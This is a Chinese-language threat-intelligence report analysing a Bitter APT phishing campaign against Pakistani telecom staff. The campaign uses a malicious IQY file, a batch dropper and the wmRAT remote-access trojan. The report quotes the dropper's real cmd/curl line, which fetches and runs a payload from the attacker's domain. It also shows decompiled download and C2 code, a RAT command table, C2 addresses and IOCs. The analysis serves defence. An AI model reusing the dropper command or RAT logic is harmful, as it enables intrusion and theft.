2025年5月:Bitter组织针对巴基斯坦的攻击事件分析报告

概述

  瑞星威胁情报平台近期发现一起针对巴基斯坦的定向攻击活动,攻击者冒充巴基斯坦反恐部门,以安全简报为诱饵,向该国国家电信公司员工发送钓鱼邮件。不同于常见的LNKOffice文档附件,此次攻击使用检测率较低的IQY文件(Excel支持的互联网查询文件)。用户打开该文件后,Excel通过内嵌URL从远程服务器下载并执行批处理脚本。该脚本功能简单,负责下载缺少MZ头的可执行程序,在本地修复后运行。修复后执行的程序具备信息上传和下载功能,其中下载的恶意载荷就包括名为wmRAT的远控木马。该木马由南亚APT组织Bitter开发,支持与C2服务器通信,具备数据窃取、文件管理和远程控制等功能。

  Bitter(中文名蔓灵花)是一个源自南亚地区的APT组织,具有浓厚的政治背景,其活动至少可追溯至2013年。该组织长期针对中国和巴基斯坦两国展开网络攻击,主要攻击目标包括政府部门、能源、电力、国防及军工等高价值单位,旨在窃取机密情报。

ATT&CK技术矩阵

战术 技术 具体行为
TA0001-初始访问 T1566-网络钓鱼 向目标用户投递钓鱼邮件
TA0002-执行 T1204-用户执行 诱骗用户执行恶意附件
TA0002-执行 T1059-命令和脚本解释器 中间恶意载荷使用批处理脚本完成下阶段恶意载荷的部署
TA0003-持久化 T1547-启动或登陆自动执行 创建注册表自启动项执行wmRAT远控木马
TA0005-防御规避 T1027-混淆过的文件或信息 下载缺少MZ头的PE文件以防止流量检测
TA0007-环境发现 T1082-收集系统信息 wmRAT会获取当前设备的计算机名和磁盘列表并回传至服务器
TA0007-环境发现 T1083-枚举文件和目录 wmRAT可以枚举文件和目录并将信息回传服务器
TA0007-环境发现 T1033-探测系统所有者/用户 wmRAT会获取当前会话的用户名并回传至服务器
TA0009-收集信息 T1083-来自本地系统的数据 wmRAT可以采集特定文件的数据并将数据回传服务器
TA0009-收集信息 T1113-屏幕截图 wmRAT可以回传截屏数据至服务器
TA0011-指挥与控制 T1105-文件传输工具 wmRAT可以从服务器或者指定的URL获取文件
TA0011-指挥与控制 T1095-非应用层协议 wmRAT使用TCP协议与服务器通信
TA0011-指挥与控制 T1041-通过C2通道外传 wmRAT使用C2通道回传采集的文件数据

事件详情

  攻击者冒充巴基斯坦反恐部门,以《安全简要报告》Security Brief Report)为主题,向巴基斯坦国家电信公司员工发送钓鱼邮件,并附带同名IQY文件(Excel互联网查询文件)。该文件是纯文本格式,默认由Excel打开,用于从互联网下载数据。作为初始攻击载荷,邮件附件Security Brief Report.iqy内嵌了恶意URL。用户打开该文件后,Excel会从远程服务器下载批处理脚本并执行。为规避基于流量特征的检测,脚本将下载一个缺少MZ头(PE文件标志)的可执行程序,在本地修复后运行。

  修复的程序运行后,会通过HTTP请求将主机名、当前目录文件列表等信息以URL参数形式回传至服务器,并下载两个恶意载荷:

  • gentwin.exe:创建注册表自启动项,实现持久化驻留
  • mvuacr.exewmRAT远控木马,支持数据窃取、文件管理和远程命令执行

  钓鱼邮件内容。

image

攻击流程

image

样本分析

Security Brief Report.iqy分析

字段 内容
文件名 Security Brief Report.iqy
文件大小 541 KB (554,282 bytes)
文件MD5 b6b0c4fa44833e5e67610be8c79daad4
文件类型 IQY
主要功能 导入远程数据

  钓鱼邮件附件Security Brief Report.iqy需用户点击执行。.iqyExcel支持的Web查询文件,可从嵌入的URLhttp://fogomyart.com/random.php)导入数据至本地系统。该URL提供恶意批处理脚本供下载。
  下载的批处理脚本使用curl下载无MZ头的可执行文件,再通过copy命令将该文件与含MZ头的本地文件合并,生成可执行程序vcswin.exe并执行。

cmd|
 '/c cd C:\programdata &
 set /P="MZ"<nul>b1 &
 curl -o b2 https://fogomyart.com/vcswin &
 copy /b b1+b2 vcswin.exe &
 start /b vcswin.exe'

vrcwin.exe分析

字段 内容
文件名 vrcwin.exe
文件大小 58.0 KB (59,392 bytes)
文件MD5 79dbdd3cf01258fb58a58c70e4d1e42b
文件类型 EXE
病毒名 Trojan.[Bitter]Agent!1.12D1A
主要功能 上传用户信息、下载恶意载荷

  该样本作为攻击事件的中间载荷,主要负责下载后续阶段的恶意载荷,同时利用HTTP查询方式将收集到的本地信息回传到服务器,包括主机名、指定路径下的目录/文件名等信息,作为URL参数发送给服务器。

  解码算法。程序中用于上传信息的URL使用异或+base64编码处理,需要在本地解码后获取。

  move_4075C0(xor_key, "i");
  v9 = 0;
  LOBYTE(v24) = 1;
  v10 = v8 <= 0;
  v11 = (void **)xor_key[0];
  if ( !v10 )
  {
    do
    {
      v12 = &a1;
      v13 = xor_key;
      if ( a6 >= 0x10 )
        v12 = (_DWORD **)a1;
      v14 = &a1;
      if ( v23 >= 0x10 )
        v13 = v11;
      *((_BYTE *)v12 + v9) ^= *(_BYTE *)v13;    // 异或运算
      v15 = &a1;
      if ( a6 >= 0x10 )
      {
        v15 = (_DWORD **)a1;
        v14 = (_DWORD **)a1;
      }
      *((_BYTE *)v14 + v9) = *((_BYTE *)v15 + v9) + 32;// 异或运算结果加32
      ++v9;
    }
    while ( v9 < v21 );                         // 解码循环
    v7 = (_DWORD *)v20;
  }
  v16 = &a1;
  v20 = a5;
  if ( a6 >= 0x10 )
    v16 = (_DWORD **)a1;
  base64encode_13914F0(v7, (int)v16, &v20);     // base64解码

  使用函数URLOpenBlockingStreamA下载恶意载荷,包括专用于部署本地持久化的gentwin.exewmRAT远控木马mvuacr.exe

      DeleteUrlCacheEntryA(szUrlName);          // 清除缓存
      memset(Parameter, 0, 0x21Cu);
      Sleep(0x7530u);
      if ( URLOpenBlockingStreamA(0, szUrlName, &v76, 0, 0) )// 从远程地址下载数据流
      {
        v28 = &szUrlName[1023];
        while ( *++v28 )
          ;
        *(_WORD *)v28 = 48;
      }
      else
      {
        v76->lpVtbl->Read(v76, Parameter, 100, (ULONG *)&v82);// 读取数据
        v76->lpVtbl->Release(v76);
      }

mvuacr.exe分析

字段 内容
文件名 mvuacr.exe
文件大小 72.5 KB (74,240 bytes)
文件MD5 5ffb37c60137e87e931c588bec445744
文件类型 EXE
病毒名 Backdoor.[Bitter]wmRAT!1.F137
主要功能 接收执行并执行

  样本mvuacr.exe是名为wmRAT的远控木马,该木马被高度怀疑是Bitter组织所开发,具有标准的RAT功能,可以收集主机基本信息、上传或下载文件、截屏、列举目录和文件,以及通过cmdPowerShell运行任意命令。作为最新变种,该样本的指令字符串经过了编码处理,以规避特征码检测机制。

  指令字符串以编码形式存储本地,使用时动态解码。

  std::string::string(&v48, "&:::&:::");
  v8 = decode_func_68BF0(v48, v49, v50, (int)v51, (int)p_Parameter, v53, v54);// 解码后字符串:DXXXDXXX
  std::string::operator=(&unk_11C4F04, v8);
  std::string::~string(v58);
  v56 = &v48;
  std::string::string(&v48, "::5522&&00"); 
  v9 = decode_func_68BF0(v48, v49, v50, (int)v51, (int)p_Parameter, v53, v54);// 解码后字符串:XXSSPPDDNN
  std::string::operator=(&unk_11C4F20, v9);

  C2域名为kryoblockbind.net,动态解析后的IP地址为75.102.39.127

image

  与上述的IP地址连接获取指令,然后根据指令执行相应操作。

 if ( is_recv_command_flag )
  {
    while ( 2 )
    {
      for ( i = 0; i < 4; i += v11 )
      {
        v11 = recv(s, &buf[i], 4 - i, 0);       // 接收指令
        if ( v11 == -1 )
          goto LABEL_30;
      }
      v12 = ntohl(*(u_long *)buf);
      *(_DWORD *)buf = v12;
      GetLastError();
      if ( !C2_402A50(v12) )                    // 执行远控指令
      {
LABEL_30:
        if ( closesocket(s) == -1 )
          WSAGetLastError();
        break;
      }
      if ( is_recv_command_flag )               // 接收指令开关,非0表示接收
        continue;
      break;
    }
  }

  该样本共定义了27个远控指令,但部分指令并没有赋予实际功能。

.text:00402A76                 push    ebx
.text:00402A77                 push    ebp
.text:00402A78                 push    esi
.text:00402A79                 push    edi
.text:00402A7A                 mov     eax, ___security_cookie
.text:00402A7F                 xor     eax, esp
.text:00402A81                 push    eax
.text:00402A82                 lea     eax, [esp+22F08h+var_C]
.text:00402A89                 mov     large fs:0, eax
.text:00402A8F                 mov     eax, [esp+22F08h+arg_0]
.text:00402A96                 cmp     eax, 26         ; 指令个数:27
.text:00402A99                 ja      def_402AA6      ; 
.text:00402A9F                 movzx   eax, ds:byte_405648[eax]
.text:00402AA6                 jmp     ds:jpt_402AA6[eax*4] ; switch jump

  指令功能表。

一级指令名 二级指令名 功能
0 F@ngS 打开文件流
0 lstcts 上传本地设备信息
0 DXXXDXXX 上传本地磁盘信息
0 DEXDXXL 删除指定路径文件
0 XXSSPPDDN 关闭文件流
0 Search 搜索文件,回传文件信息
0 restart 重新启动自身进程
1 使用powershellcmd执行命令、创建管道获取数据
5 关闭F@ngS指令打开的文件流
6 接收文件数据,写入F@ngS指令打开的文件
8 打开文件,并向服务器上传数据(单次上传字节0x7D000
11 上传文件数据(单次上传0x7D000字节及以下)
12 读取文件流中指定的位置,将读取到的内容回传
14 搜索指定目录下文件,将内容回传
22 截屏并发送服务器
23 列举目录和文件,将详细信息回传

攻击过程可视化(EDR)

  瑞星EDR详细记录了主机的程序活动,依据进程行为划分危险等级。其威胁可视化调查功能可完整还原攻击链,展示关联关系。追溯发现:攻击活动最初投递的钓鱼邮件通过outlook.exe打开,随后excel.exe执行邮件中的.iqy附件,从内嵌URL下载批处理脚本并由cmd.exe运行。脚本负责部署可执行程序vcswin.exe,该程序从多个URL拉取恶意载荷,包括gentwin.exe(通过cmd.exe创建注册表自启动项实现持久化)及远控木马mvuacr.exe

image

总结

  攻击者以热点事件为诱饵,向目标人群发送钓鱼邮件,使用低检测率的IQY文件作为初始攻击载荷,后续通过多阶段下载恶意载荷,体现APT攻击的强针对性、高隐蔽性和间接攻击等特点。国内政府和企业也需高度重视并加强防御。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

    image

  4. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    b6b0c4fa44833e5e67610be8c79daad4
    5255fd22105d234d77bf54e50fd966df
    79dbdd3cf01258fb58a58c70e4d1e42b
    548790c71c139158ce3f324af1ce41e0
    5ffb37c60137e87e931c588bec445744
  • Domain

    fogomyart.com
    tradesmarkets.greenadelhouse.com
    kryoblockbind.net
  • 瑞星病毒名

    Trojan.[Bitter]Agent!1.12D1A
    Backdoor.[Bitter]wmRAT!1.F137

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *